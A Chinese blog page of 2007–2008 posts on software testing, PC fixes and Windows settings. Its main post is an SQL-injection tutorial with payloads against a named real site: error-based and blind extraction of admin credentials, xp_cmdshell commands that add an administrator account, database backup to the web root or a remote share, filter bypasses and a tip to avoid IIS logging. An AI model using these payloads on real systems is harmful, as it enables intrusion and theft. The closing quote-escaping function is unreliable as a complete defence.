我的最新日志

  • 软件测试的流程规范(转)

    2008-2-25

    q

    流程规范

    qq

    整体过程流图

    qqqq

    测试项目确认流图

    w

    测试执行流图

    qqq

    测试策划流图

    ww

    问题跟踪与测试关闭流图



  • 测试常见问题

    2008-2-17

    1.学习那方面的测试拿到的工资会多一点

    1)自动化测试方面。像LoadRunner或WinRunner之类,IBM Rational系列等。一定要注意一点,不要求你全知道,但一定你在某一方面特别的精通。全知道,但哪门也不清楚,一看就像刚培训出来的人,给考官的印象不好。
    2)经验很重要,尤其对于测试这一行。干过一年,干过三年,干过五年,别人对你的眼光是不一样的。因为年限中,说明的是你经验、知识的积累。
    3)要懂项目管理,比如像CMMI。要清楚的了解产品开发的流程,测试在各个开发阶段自己的任务,工作重点等。各个阶段,测试要出什么产品,各个产品的重点是什么,比如产品的测试计划里有什么内容等。
    4)要懂产品质量及相关知识。其实这也是上面的一个补充,比如TD的管理、代码配置等,你都要了解。

    嘿嘿,如果这些都比较清楚了,估计Money多一点完全没有问题。肚子里有货,才能要高工资,才可以和考官吹呀。

  • 循序渐进学习QTP--初级篇

    2008-1-03

    循序渐进学习QTP--初级篇

  • WEB测试

    2007-12-11

    (一)文本框测试

     a,输入正常的字母或数字。
     b,输入已存在的文件的名称;
     c,输入超长字符。例如在“名称”框中输入超过允许边界个数的字符,假设最多255个字符,尝试输入 256个字符,检查程序能否正确处理;
     d,输入默认值,空白,空格;
     e,若只允许输入字母,尝试输入数字;反之;尝试输入字母;
     f,利用复制,粘贴等操作强制输入程序不允许的输入数据;
     g,输入特殊字符集,例如,NUL及\n等;
     h,输入超过文本框长度的字符或文本,检查所输入的内容是否正常显示;
     i,输入不符合格式的数据,检查程序是否正常校验,如,程序要求输入年月日格式为yy/mm/dd,实际输入yyyy/mm/dd,程序应该给出错误提示

    在测试过程中所用到的测试方法:

     1,输入非法数据;
     2,输入默认值;
     3,输入特殊字符集;
     4,输入使缓冲区溢出的数据;
     5,输入相同的文件名;

    (二)命令按钮控件的测试

    测试方法:

     a,点击按钮正确响应操作。如,单击确定,正确执行操作;单击取消,退出窗口;
     b,对非法的输入或操作给出足够的提示说明,如,输入月工作天数为32时,单击”确定“后系统应提示:天数不能大于31;
     c,对可能造成数据无法恢复的操作必须给出确认信息,给用户放弃选择的机会;

    (三)单选按钮控件的测试

    测试方法:

     a,一组单选按钮不能同时选中,只能选中一个。
     b,逐一执行每个单选按钮的功能。分别选择了“男”“女”后,保存到数据库的数据应该相应的分别为“男”“女”;
     c,一组执行同一功能的单选按钮在初始状态时必须有一个被默认选中,不能同时为空;

    (四)up-down控件文本框的测试

    测试方法:

     a,直接输入数字或用上下箭头控制,如,在“数目”中直接输入10,或者单击向上的箭头,使数目变为10;
     b,利用上下箭头控制数字的自动循环,如,当最多数字为253时,单击向上箭头,数目自动变为1;反之亦适用;
     c,直接输入超边界值,系统应该提示重新输入;
     d,输入默认值,空白。如,“插入”数目为默认值,点击“确定”;或,删除默认值,使内容为空,单击“确定”进行测试;
     e,输入字符。此时系统应提示输入有误。

    (五)组合列表框的测试

    测试方法:

     a,条目内容正确,其详细条目内容可以根据需求说明确定;
     b,逐一执行列表框中每个条目的功能;
     c,检查能否向组合列表框输入数据;

    (六)复选框的测试

    测试方法:

     a,多个复选框可以被同时选中;
     b,多个复选框可以被部分选中;
     c,多个复选框可以都不被选中;
     d,逐一执行每个复选框的功能;

    (七)列表框控件的测试

    测试方法:

     a,条目内容正确;同组合列表框类似,根据需求说明书确定列表的各项内容正确,没有丢失或错误;
     b,列表框的内容较多时要使用滚动条;
     c,列表框允许多选时,要分别检查shift选中条目,按ctrl选中条目和直接用鼠标选中多项条目的情况;

    (八)滚动条控件的测试

     a,滚动条的长度根据显示信息的长度或宽度及时变换,这样有利于用户了解显示信息的位置和百分比,如,word中浏览100页文档,浏览到50页时,滚动条位置应处于中间;
     b,拖动滚动条,检查屏幕刷新情况,并查看是否有乱码;
     c,单击滚动条;
     d,用滚轮控制滚动条;
     e,滚动条的上下按钮。

    (九)各种控件在窗体中混和使用时的测试

     a,控件间的相互作用
     b,tab键的顺序,一般是从上到下,从左到右;
     c,热键的使用,逐一测试;
     d,enter键和esc键的使用;

    在测试中,应遵循由简入繁的原则,先进行单个控件功能的测试,确保实现无误后,再进行多个控件的的功能组合的测试。

  • SQL注入原理

    2007-12-03

    SQL注入原理,值得一看!

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

    SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

    但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

    根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

    入 门 篇

    如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

    第一节、SQL注入原理

    以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

    在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

    Microsoft JET Database Engine 错误 '80040e14'
    字符串的语法错误 在查询表达式 'ID=49'' 中。
    /showdetail.asp,行8

    从这个错误提示我们能看出下面几点:

    1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
    2.程序没有判断客户端提交的数据是否符合程序要求。
    3.该SQL语句所查询的表中有一名为ID的字段。

    从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

    第二节、判断能否进行SQL注入

    看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?

    首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

    其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

    那么,什么样的测试方法才是比较准确呢?答案如下:

    ① http://www.19cn.com/showdetail.asp?id=49
    ② http://www.19cn.com/showdetail.asp?id=49 and 1=1
    ③ http://www.19cn.com/showdetail.asp?id=49 and 1=2

    这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

    可以注入的表现:

    ① 正常显示(这是必然的,不然就是程序有错误了)
    ② 正常显示,内容基本与①相同
    ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

    不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

    当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

    第三节、判断数据库类型及注入方法

    不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

    怎么让程序告诉你它使用的什么数据库呢?来看看:

    SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

    http://www.19cn.com/showdetail.asp?id=49 and user>0

    这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

    顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

    如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

    在确认可以注入的情况下,使用下面的语句:

    http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
    http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

    如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

    如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

    (入门篇完)
    说明:使用NBSI-NB联盟SQL注入分析器可以检测出各种SQL注入漏洞并进行解码,提高猜解效率.
    版权:本文是我的原创连载文章,首发于www.54NB.com,欢迎各网站转载,请务必保留版权信息,媒体杂志转载前请先与本人联系.




    在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

    第一节、SQL注入的一般步骤

    首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

    其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

    (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
    Select * from 表名 where 字段=49
    注入的参数为ID=49 And [查询条件],即是生成语句:
    Select * from 表名 where 字段=49 And [查询条件]

    (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
    Select * from 表名 where 字段=’连续剧’
    注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
    Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

    (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
    Select * from 表名 where 字段like ’%关键字%’
    注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
    Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

    接着,将查询条件替换成SQL语句,猜解表名,例如:

    ID=49 And (Select Count(*) from Admin)>=0

    如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

    表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

    有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

    有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

    最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

    我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

    http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

    先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

    当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

    id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

    同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

    第二节、SQL注入常用函数

    有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

    Access:asc(字符) SQLServer:unicode(字符)
    作用:返回某字符的ASCII码

    Access:chr(数字) SQLServer:nchar(数字)
    作用:与asc相反,根据ASCII码返回字符

    Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
    作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

    Access:abc(数字) SQLServer:abc (数字)
    作用:返回数字的绝对值(在猜解汉字的时候会用到)

    Access:A between B And C SQLServer:A between B And C
    作用:判断A是否界于B与C之间

    第三节、中文处理方法

    在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

    先说一点常识:

    Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

    SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

    了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。




    看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

    第一节、利用系统表注入SQLServer数据库

    SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

    ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

      分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

    ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

      将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

      ③ http://Site/url.asp?id=1 ;;and db_name()>0

    前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

    ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

    这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

      ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

    前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

    ⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

    从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

      以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

    第二节、绕过程序限制继续注入

    在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

    在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

    简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

    第三节、经验小结

    1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

    2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

    3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

    4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

    5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

    防 范 方 法

    SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:


    Function SafeRequest(ParaName,ParaType)
    '--- 传入参数 ---
    'ParaName:参数名称-字符型
    'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

    Dim ParaValue
    ParaValue=Request(ParaName)
    If ParaType=1 then
    If not isNumeric(ParaValue) then
    Response.write "参数" & ParaName & "必须为数字型!"
    Response.end
    End if
    Else
    ParaValue=replace(ParaValue,"'","''")
    End if
    SafeRequest=ParaValue
    End function

     

    http://xspace.yyon.cn/html/2/2-6746.html

  • 系统日期自动更改解决方法

    2007-11-02

      问题症状:
      使用Ghost恢复系统后,安装卡巴斯基之后,系统每次重启,系统日期会自动更改为2005年;这种情况会导致卡巴斯基因为日期不正确,不能够正常使用;


      解决方法:
      在恢复系统的时候,把网线拔掉,等恢复好系统,安装好卡巴斯基之后,再将网络连上;上述问题就解决了。

     

  • 金山词霸2007无响应 解决方法

    2007-9-27

        问题现象:
        每次打开的时候,都显示无响应,退出也没法退,只能重启。重新安装之后也还是这样。还有,好像只能英译汉,汉译英,没有那么多的词库。
        问题补充:安装好了,就是不能使用屏幕取词,一用,它就老是显示在那,怎么也关不了,只能重启。程序和卡巴斯基冲突,因为只要把卡巴一关,就好啦,可是,怎样设置才能不冲突呢??

        解决方案:
        1、点击卡巴斯基6右上角的“设置”

    2、选择最上方的“保护”

    3、进入“信任区域”

    4、选“信任程序”

    5、“添加”

    然后“浏览”找到金山词霸的主程序,不知道主程序放在哪的,可以在你桌面上的快捷方式那里点击右健,属性,就可以看到具体的位置了,像我的属性是"F:\kingsoft\PowerWord 2006\XDICT.exe",所以就找到XDICT.exe。

    属性选“不控制程序活动性、不控制访问注册”(不要多选,否则会导致卡巴斯基6的邮件保护失败)

    然后确定。关掉卡巴斯基,重开就解决了。

  • 局域网代理服务器设置方法

    2007-9-20

    一、Microsoft Internet Explorer4.0 的设置方法
    (1) 运行Internet Explore4.0,选择“查看”菜单项, 单击“Internet选项”
    (2) 在Internet选项对话框中,选择“连接”标签,在代理服务器栏中选中“通过代理服务器访问Internet”,然后单击“高级”按钮
    (3) 在代理服务器设置对话框中,在HTTP和FTP栏分别添入proxy.pku.edu.cn, 端口8080

    二、Microsoft Internet Explorer5.0 的设置方法
    (1) 运行Internet Explore5.0,选择“工具”菜单项, 单击“Internet选项”
    (2) 在Internet选项对话框中,选择“连接”标签,单击“局域网设置”按纽
    (3) 在局域网设置对话框中,选中“使用代理服务器”,然后单击“高级”按钮
    (4) 在代理服务器设置对话框中,在HTTP和FTP栏分别添入proxy.pku.edu.cn, 端口8080

    三、Netscape Communicator4.0 的设置方法
    (1) 运行Netscape Communicator,选择Edit菜单项,单击Preference...
    (2) 双击Preference对话框中左面的Advanced项,选中Proxies,在右面选择Manual Proxy Configuration并点击View按钮
    (3) 在Manual Proxy Configuration对话框中的HTTP和FTP栏中分别设置proxy.pku.edu.cn端口为8080
    (4) 设置好后依次单击OK按钮,退出设置

    四、Netscape Navigator 的设置方法
    (1) 运行Netscape Navigator,选择Options菜单项,单击Network Preference...
    (2) 在Preference对话框中单击Proxies项,并选择Mannual Proxy Configration, 单击View按钮
    (3) 在Manual Proxy Configration对话框中,进行与设置Netscape Communicator4.0步骤(3)相同的操作

  • 远程关机命令

    2007-9-13

    在我们最长用的系统中,存在这很多的命令在这这命令中是分为两部分的.
    一部分是外部命令,另一部分则是内部命令
    在系统下我们可以在运行输入 cmd 可以调出带命令提示符窗口在这里我们就可以输入命令了.首先先给大家介绍一个外部命令远程关机的命令.

      首先为了让大家有一个明确的概念先说一下什么是外部命令与内部命令,外部命令则是系统继承并非DOS下命令.而内部命令则是DOS程序自身的命令了.
      
      是如开启远程关机呢?操作方法:
    开始菜单->运行->输入 cmd  这个命令则回出现带命令提示符窗口

    然后在此输入: shutdown ?  这样的命令则是查看所有命令在这里你可以看到的就是这里面包含的所有命令参数.

    -i 显示 GUI 界面,必须是第一个选项
    -l 注销(不能与选项 -m 一起使用)
    -s 关闭此计算机
    -r 关闭并重启动此计算机
    -a 放弃系统关机
    -m \\computername 远程计算机关机/重启动/放弃
    -t xx 设置关闭的超时为 xx 秒
    -c "comment" 关闭注释(最大 127 个字符)
    -f 强制运行的应用程序关闭而没有警告
    -d [u][p]:xx:yy 关闭原因代码
    u 是用户代码
    p 是一个计划的关闭代码
    xx 是一个主要原因代码(小于 256 的正整数)
    yy 是一个次要原因代码(小于 65536 的正整数)

      在这里你也可以做到给自己关机也可以给其他用户关机,在这里面有一个界面模式的方法也是输入: shutdown -i  这个命令将会出现界面模式方便与操作了!

      在这里你可以输入对方的IP地址与关机原因和时间,然后确认,这时对方的计算机将会执行你所发送的命令 是关机 是注销 还是重新启动都可以操作的.

      这个命令一般都是为管理员方便管理所应用程序,在LAN中是可以使用的.这个关机的模式和冲击波病毒有点类似,所以假如在遇到一切强制关机的话,你可以是使用这个命令试验一下可以解决吗?
    命令是:  shutdown -a 这个是取消命令!


     

  • 让WINDOWS XP自动登陆

    2007-9-11

      如果电脑没有设置密码,会很容易被黑客等不善的家伙利用做一些损坏用户电脑的事来,但winxp设置密码后,一般是要输入密码后才能进入,如果嫌麻烦,可以做如下修改,这样就不必输入密码直接可以进入系统了。而且密码是依然存在的。

    方法1:运行 rundll32 netplwiz.dll,UsersRunDll 或 control userpasswords2,
    取消选择“要使用本机,用户必须输入用户名和密码”,然后单击“确定”,在弹出的对话框中输入你想

    自动登录的账户和密码即可。

    方法2:打开注册表,找到HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\

    Winlogon主键,在右边窗口新键字符串值,其中前三项键值是必须要有的:
    ----autoadminlogon,键值为1,用于设置是否可以自动登陆;
    ----defaultusername:键值为自动登陆默认的用户名;
    ----defaultpassword: 键值为自动登陆用户的密码;
    ----defaultdomainname:键值为自动登陆的计算机名称或者登陆网络的域名;
    ----ForceAutoLogon的字符串值,并将这个值设为1,这样系统即便是在注销之后也会自动登录到

    注:该方法也适合windows 2000系统。
     

Open Toolbar